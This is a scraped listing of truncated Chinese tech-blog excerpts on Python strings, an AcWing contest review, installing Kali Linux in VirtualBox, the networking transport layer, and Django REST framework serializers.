一.Python的五大数据类型之字符串类型 在Python中,变量用于存储数据。变量名可以是任何字母、数字和下划线的组合。Python支持多种数据类型,包括数字、字符串、列表、元组和字典。这篇文章我们就来学习一下五大数据类型中的字符串类型。 1.1 什么是字符串? 字符串是Pyth…

[acwing周赛复盘] 第 94 场周赛20230311

[acwing周赛复盘] 第 94 场周赛20230311 一、本周周赛总结二、 4870. 装物品1. 题目描述2. 思路分析3. 代码实现三、4871. 最早时刻1. 题目描述2. 思路分析3. 代码实现四、4872. 最短路之和1. 题目描述2. 思路分析3. 代码实现六、参考链接一、本周周赛总结 又是笨比的一周&…

保姆级图文教程 - VirtualBox安装配置Kali Linux

文章目录下载Kali Linux虚拟机包安装Kali用户配置网络配置静态ipDHCP分配IP换deb源下载Kali Linux虚拟机包 官网地址&#xff1a;https://www.kali.org/get-kali/#kali-virtual-machines 我们选择virtualbox版的&#xff0c;就是最中间的那个。 安装Kali 将压缩包解压&…

计算机网络:传输层概述

传输层 只有主机才有的层次 传输层的功能&#xff1a; 1.传输层提供进程与进程之间的逻辑通信。 2.复用&#xff1a;应用层的所有进程可以都使用一同传输层协议。 3.分用&#xff1a;传输层从网络层收到数据后&#xff0c;交付给指明的应用进程。 4.传输层对收到的报文进行差错…

二十一、Django-restframework之序列化器补充

一、常用序列化器字段 序列化器字段处理基元值和内部数据类型之间的转换。它们还处理输入值的验证&#xff0c;以及从它们的父对象检索和设置值。 &#xff08;1&#xff09;核心参数 每个序列化器字段类构造函数至少接受这些参数。一些字段类还接受额外的&#xff0c;字段特…